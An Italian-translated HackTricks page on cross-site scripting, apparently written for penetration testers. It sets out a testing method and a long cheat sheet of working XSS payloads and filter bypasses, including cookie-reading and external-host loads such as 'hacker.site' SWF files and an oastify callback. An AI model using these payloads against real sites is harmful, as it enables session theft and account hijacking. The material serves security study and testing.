hacktricks/pentesting-web/xss-cross-site-scripting
2024-11-19 12:00:42 +00:00
..
abusing-service-workers.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:32:48 +00:00
chrome-cache-to-xss.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00
debugging-client-side-js.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:26 +00:00
dom-clobbering.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:24:40 +00:00
dom-invader.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:12:26 +00:00
dom-xss.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:12:19 +00:00
iframes-in-xss-and-csp.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:12:19 +00:00
integer-overflow.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:12:19 +00:00
js-hoisting.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
other-js-tricks.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:12:19 +00:00
pdf-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-19 12:00:42 +00:00
server-side-xss-dynamic-pdf.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
shadow-dom.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
sniff-leak.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:13:27 +00:00
some-same-origin-method-execution.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:32:48 +00:00
steal-info-js.md Translated ['binary-exploitation/format-strings/README.md', 'binary-expl 2024-11-12 12:21:15 +00:00
xss-in-markdown.md Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:52:42 +00:00

XSS (Cross Site Scripting)

Se sei interessato a una carriera nel hacking e a hackare l'impossibile - stiamo assumendo! (richiesta di polacco fluente scritto e parlato).

{% embed url="https://www.stmcyber.com/careers" %}

Metodologia

  1. Controlla se qualunque valore tu controlli (parametri, percorso, intestazioni?, cookie?) viene riflesso nell'HTML o utilizzato dal codice JS.
  2. Trova il contesto in cui è riflesso/utilizzato.
  3. Se riflesso
  4. Controlla quali simboli puoi usare e a seconda di ciò, prepara il payload:
  5. In HTML grezzo:
  6. Puoi creare nuovi tag HTML?
  7. Puoi usare eventi o attributi che supportano il protocollo javascript:?
  8. Puoi bypassare le protezioni?
  9. Il contenuto HTML viene interpretato da qualche motore JS client-side (AngularJS, VueJS, Mavo...), potresti abusare di un Client Side Template Injection.
  10. Se non puoi creare tag HTML che eseguono codice JS, potresti abusare di un Dangling Markup - HTML scriptless injection?
  11. All'interno di un tag HTML:
  12. Puoi uscire nel contesto HTML grezzo?
  13. Puoi creare nuovi eventi/attributi per eseguire codice JS?
  14. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
  15. Puoi bypassare le protezioni?
  16. All'interno del codice JavaScript:
  17. Puoi sfuggire al tag <script>?
  18. Puoi sfuggire alla stringa ed eseguire codice JS diverso?
  19. I tuoi input sono in template literals ``?
  20. Puoi bypassare le protezioni?
  21. Funzione Javascript in esecuzione
  22. Puoi indicare il nome della funzione da eseguire. es.: ?callback=alert(1)
  23. Se utilizzato:
  24. Potresti sfruttare un DOM XSS, fai attenzione a come il tuo input è controllato e se il tuo input controllato è utilizzato da qualche sink.

Quando lavori su un XSS complesso potresti trovare interessante sapere di:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Valori riflessi

Per sfruttare con successo un XSS la prima cosa che devi trovare è un valore controllato da te che viene riflesso nella pagina web.

  • Riflesso intermediatamente: Se scopri che il valore di un parametro o anche il percorso viene riflesso nella pagina web potresti sfruttare un Reflected XSS.
  • Memorizzato e riflesso: Se scopri che un valore controllato da te è salvato nel server e viene riflesso ogni volta che accedi a una pagina potresti sfruttare un Stored XSS.
  • Accessibile tramite JS: Se scopri che un valore controllato da te viene accesso utilizzando JS potresti sfruttare un DOM XSS.

Contesti

Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è dove il tuo input viene riflesso. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.

HTML grezzo

Se il tuo input è riflesso nell'HTML grezzo della pagina dovrai abusare di qualche tag HTML per eseguire codice JS: <img , <iframe , <svg , <script ... questi sono solo alcuni dei molti possibili tag HTML che potresti usare.
Inoltre, tieni a mente Client Side Template Injection.

All'interno dell'attributo dei tag HTML

Se il tuo input è riflesso all'interno del valore dell'attributo di un tag potresti provare:

  1. A sfuggire dall'attributo e dal tag (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: "><img [...]
  2. Se puoi sfuggire dall'attributo ma non dal tag (> è codificato o eliminato), a seconda del tag potresti creare un evento che esegue codice JS: " autofocus onfocus=alert(1) x="
  3. Se non puoi sfuggire dall'attributo (" è codificato o eliminato), allora a seconda di quale attributo il tuo valore è riflesso se controlli tutto il valore o solo una parte sarai in grado di abusarne. Per esempio, se controlli un evento come onclick= sarai in grado di farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante esempio è l'attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
  4. Se il tuo input è riflesso all'interno di "tag non sfruttabili" potresti provare il trucco accesskey per abusare della vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): " accesskey="x" onclick="alert(1)" x="

Esempio strano di Angular che esegue XSS se controlli un nome di classe:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

In questo caso, il tuo input è riflesso tra i tag <script> [...] </script> di una pagina HTML, all'interno di un file .js o all'interno di un attributo utilizzando il protocollo javascript::

  • Se riflesso tra i tag <script> [...] </script>, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare </script> e uscire da questo contesto. Questo funziona perché il browser prima analizzerà i tag HTML e poi il contenuto, quindi non si accorgerà che il tuo tag </script> iniettato è all'interno del codice HTML.
  • Se riflesso all'interno di una stringa JS e l'ultimo trucco non funziona, dovresti uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se c'è un errore, non verrà eseguito):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Se riflesso all'interno di template literals puoi inserire espressioni JS utilizzando la sintassi ${ ... }: var greetings = `Hello, ${alert(1)}`
  • La codifica Unicode funziona per scrivere codice javascript valido:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoisting si riferisce all'opportunità di dichiarare funzioni, variabili o classi dopo che sono state utilizzate, in modo da poter abusare di scenari in cui un XSS utilizza variabili o funzioni non dichiarate.
Controlla la seguente pagina per ulteriori informazioni:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Javascript Function

Diverse pagine web hanno endpoint che accettano come parametro il nome della funzione da eseguire. Un esempio comune da vedere nel mondo reale è qualcosa come: ?callback=callbackFunc.

Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è modificare il valore del parametro (ad esempio a 'Vulnerable') e cercare nella console errori come:

Nel caso sia vulnerabile, potresti essere in grado di attivare un avviso semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoint validino il contenuto per consentire solo lettere, numeri, punti e trattini bassi ([\w\._]).

Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi utilizzare quei caratteri validi per accedere a qualsiasi elemento nel DOM:

Alcune funzioni utili per questo:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Puoi anche provare a attivare funzioni Javascript direttamente: obj.sales.delOrders.

Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza molto DOM interessante, altre pagine nella stessa origine avranno un DOM più interessante per eseguire più azioni.

Pertanto, per sfruttare questa vulnerabilità in un DOM diverso è stata sviluppata l'esploitazione Same Origin Method Execution (SOME):

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

C'è codice JS che utilizza in modo non sicuro alcuni dati controllati da un attaccante come location.href. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

Questi tipi di XSS possono essere trovati ovunque. Non dipendono solo dall'exploitation client di un'applicazione web, ma da qualsiasi contesto. Questi tipi di esecuzione arbitraria di JavaScript possono persino essere sfruttati per ottenere RCE, leggere file arbitrari nei client e nei server, e altro ancora.
Alcuni esempi:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Iniettare all'interno di HTML raw

Quando il tuo input è riflesso all'interno della pagina HTML o puoi sfuggire e iniettare codice HTML in questo contesto, la prima cosa che devi fare è controllare se puoi sfruttare < per creare nuovi tag: prova semplicemente a riflettere quel carattere e controlla se viene HTML codificato o eliminato o se è riflesso senza modifiche. Solo nell'ultimo caso sarai in grado di sfruttare questo caso.
Per questi casi, tieni anche a mente Client Side Template Injection.
Nota: Un commento HTML può essere chiuso usando****** --> o ****--!>**

In questo caso e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Ma, se viene utilizzato il black/whitelisting di tag/attributi, sarà necessario forzare quali tag puoi creare.
Una volta che hai individuato quali tag sono consentiti, dovrai forzare gli attributi/eventi all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.

Forzatura di tag/eventi

Vai a https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copia tag negli appunti. Quindi, invia tutti utilizzando Burp intruder e controlla se qualche tag non è stato scoperto come malevolo dal WAF. Una volta che hai scoperto quali tag puoi usare, puoi forzare tutti gli eventi utilizzando i tag validi (nella stessa pagina web clicca su Copia eventi negli appunti e segui la stessa procedura di prima).

Tag personalizzati

Se non hai trovato alcun tag HTML valido, puoi provare a creare un tag personalizzato ed eseguire codice JS con l'attributo onfocus. Nella richiesta XSS, devi terminare l'URL con # per far sì che la pagina focalizzi quell'oggetto e esegua il codice:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Se viene utilizzato qualche tipo di blacklist, potresti provare a eluderla con alcuni trucchi sciocchi:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass della lunghezza (piccole XSS)

{% hint style="info" %} Altre piccole XSS per diversi ambienti payload possono essere trovati qui e qui. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

L'ultimo utilizza 2 caratteri unicode che si espandono in 5: telsr
Altri di questi caratteri possono essere trovati qui.
Per controllare in quali caratteri sono decomposti controlla qui.

Click XSS - Clickjacking

Se per sfruttare la vulnerabilità hai bisogno che l'utente clicchi un link o un modulo con dati precompilati, potresti provare a abusare del Clickjacking (se la pagina è vulnerabile).

Impossibile - Dangling Markup

Se pensi che sia impossibile creare un tag HTML con un attributo per eseguire codice JS, dovresti controllare Dangling Markup perché potresti sfruttare la vulnerabilità senza eseguire codice JS.

Iniettare all'interno del tag HTML

All'interno del tag/escaping dal valore dell'attributo

Se sei all'interno di un tag HTML, la prima cosa che potresti provare è di escape dal tag e utilizzare alcune delle tecniche menzionate nella sezione precedente per eseguire codice JS.
Se non puoi escape dal tag, potresti creare nuovi attributi all'interno del tag per provare a eseguire codice JS, ad esempio utilizzando alcuni payload come (nota che in questo esempio le virgolette doppie sono usate per fare escape dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente all'interno del tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventi di stile

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

All'interno dell'attributo

Anche se non puoi uscire dall'attributo (" viene codificato o eliminato), a seconda di quale attributo il tuo valore viene riflesso in se controlli tutto il valore o solo una parte sarai in grado di abusarne. Per esempio, se controlli un evento come onclick= sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.
Un altro esempio interessante è l'attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"

Bypass all'interno dell'evento usando la codifica HTML/URL encode

I caratteri codificati in HTML all'interno del valore degli attributi dei tag HTML vengono decodificati durante l'esecuzione. Pertanto, qualcosa come il seguente sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Torna Indietro </a>

Nota che qualsiasi tipo di codifica HTML è valido:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Nota che l'URL encode funzionerà anche:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass interno evento utilizzando la codifica Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocollo Speciali All'interno dell'attributo

Qui puoi utilizzare i protocolli javascript: o data: in alcuni luoghi per eseguire codice JS arbitrario. Alcuni richiederanno interazione dell'utente, altri no.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Luoghi in cui puoi iniettare questi protocolli

In generale, il protocollo javascript: può essere utilizzato in qualsiasi tag che accetta l'attributo href e in molti dei tag che accettano l'attributo src (ma non <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Altri trucchi di offuscamento

In questo caso, il trucco di codifica HTML e il trucco di codifica Unicode della sezione precedente sono validi poiché sei all'interno di un attributo.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Moreover, there is another nice trick for these cases: Anche se il tuo input all'interno di javascript:... è codificato in URL, verrà decodificato in URL prima di essere eseguito. So, if you need to escape from the string using a single quote and you see that è codificato in URL, remember that non importa, verrà interpretato come un single quote durante il tempo di esecuzione.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Nota che se provi a usare entrambi URLencode + HTMLencode in qualsiasi ordine per codificare il payload non funzionerà, ma puoi mescolarli all'interno del payload.

Utilizzando la codifica Hex e Octale con javascript:

Puoi usare Hex e Octal encode all'interno dell'attributo src di iframe (almeno) per dichiarare tag HTML per eseguire JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Se puoi iniettare qualsiasi URL in un arbitrario <a href= tag che contiene gli attributi target="_blank" e rel="opener", controlla la seguente pagina per sfruttare questo comportamento:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Bypass degli Event Handlers

Prima di tutto controlla questa pagina (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) per utili "on" event handlers.
Nel caso ci sia qualche blacklist che ti impedisce di creare questi event handlers, puoi provare i seguenti bypass:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Da qui ora è possibile abusare degli input nascosti con:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

E nei meta tag:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Da qui: Puoi eseguire un payload XSS all'interno di un attributo nascosto, a patto di poter persuadere la vittima a premere la combinazione di tasti. Su Firefox Windows/Linux la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:

<input type="hidden" accesskey="X" onclick="alert(1)">

Il payload XSS sarà qualcosa del genere: " accesskey="x" onclick="alert(1)" x="

Bypass della Blacklist

Diversi trucchi con l'uso di diverse codifiche sono già stati esposti in questa sezione. Torna indietro per imparare dove puoi usare:

  • Codifica HTML (tag HTML)
  • Codifica Unicode (può essere codice JS valido): \u0061lert(1)
  • Codifica URL
  • Codifica esadecimale e ottale
  • Codifica dei dati

Bypass per tag e attributi HTML

Leggi i Bypass della Blacklist della sezione precedente.

Bypass per codice JavaScript

Leggi la blacklist di bypass JavaScript della sezione seguente.

CSS-Gadgets

Se hai trovato un XSS in una parte molto piccola del web che richiede qualche tipo di interazione (forse un piccolo link nel footer con un elemento onmouseover), puoi provare a modificare lo spazio che quell'elemento occupa per massimizzare le probabilità di attivare il link.

Ad esempio, potresti aggiungere qualche stile all'elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ma, se il WAF sta filtrando l'attributo di stile, puoi usare CSS Styling Gadgets, quindi se trovi, ad esempio

.test {display:block; color: blue; width: 100%}

e

#someid {top: 0; font-family: Tahoma;}

Ora puoi modificare il nostro link e portarlo alla forma

<a href="" id=someid class=test onclick=alert() a="">

Questo trucco è stato preso da https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Iniezione all'interno del codice JavaScript

In questo caso il tuo input verrà riflesso all'interno del codice JS di un file .js o tra i tag <script>...</script> o tra eventi HTML che possono eseguire codice JS o tra attributi che accettano il protocollo javascript:.

Escape del tag <script>

Se il tuo codice è inserito all'interno di <script> [...] var input = 'dati riflessi' [...] </script> potresti facilmente uscire chiudendo il tag <script>:

</script><img src=1 onerror=alert(document.domain)>

Nota che in questo esempio non abbiamo nemmeno chiuso l'apostrofo. Questo perché il parsing HTML viene eseguito prima dal browser, il che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.

All'interno del codice JS

Se <> vengono sanitizzati puoi comunque eseguire l'escape della stringa dove il tuo input è situato e eseguire JS arbitrario. È importante correggere la sintassi JS, perché se ci sono errori, il codice JS non verrà eseguito:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Per costruire stringhe oltre alle virgolette singole e doppie, JS accetta anche i backtick ``. Questo è conosciuto come template literals poiché consentono di inserire espressioni JS utilizzando la sintassi ${ ... }.
Pertanto, se scopri che il tuo input viene riflesso all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi ${ ... } per eseguire codice JS arbitrario:

Questo può essere abusato utilizzando:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Esecuzione di codice codificato

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Esecuzione JS codificata in Unicode

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Tecniche di bypass delle blacklist in JavaScript

Stringhe

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escape speciali

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Sostituzioni di spazi all'interno del codice JS

<TAB>
/**/

Commenti JavaScript (dal trucchi dei commenti JavaScript )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nuove righe (da trucchi delle nuove righe in JavaScript )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Spazi bianchi JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript all'interno di un commento

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript senza parentesi

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
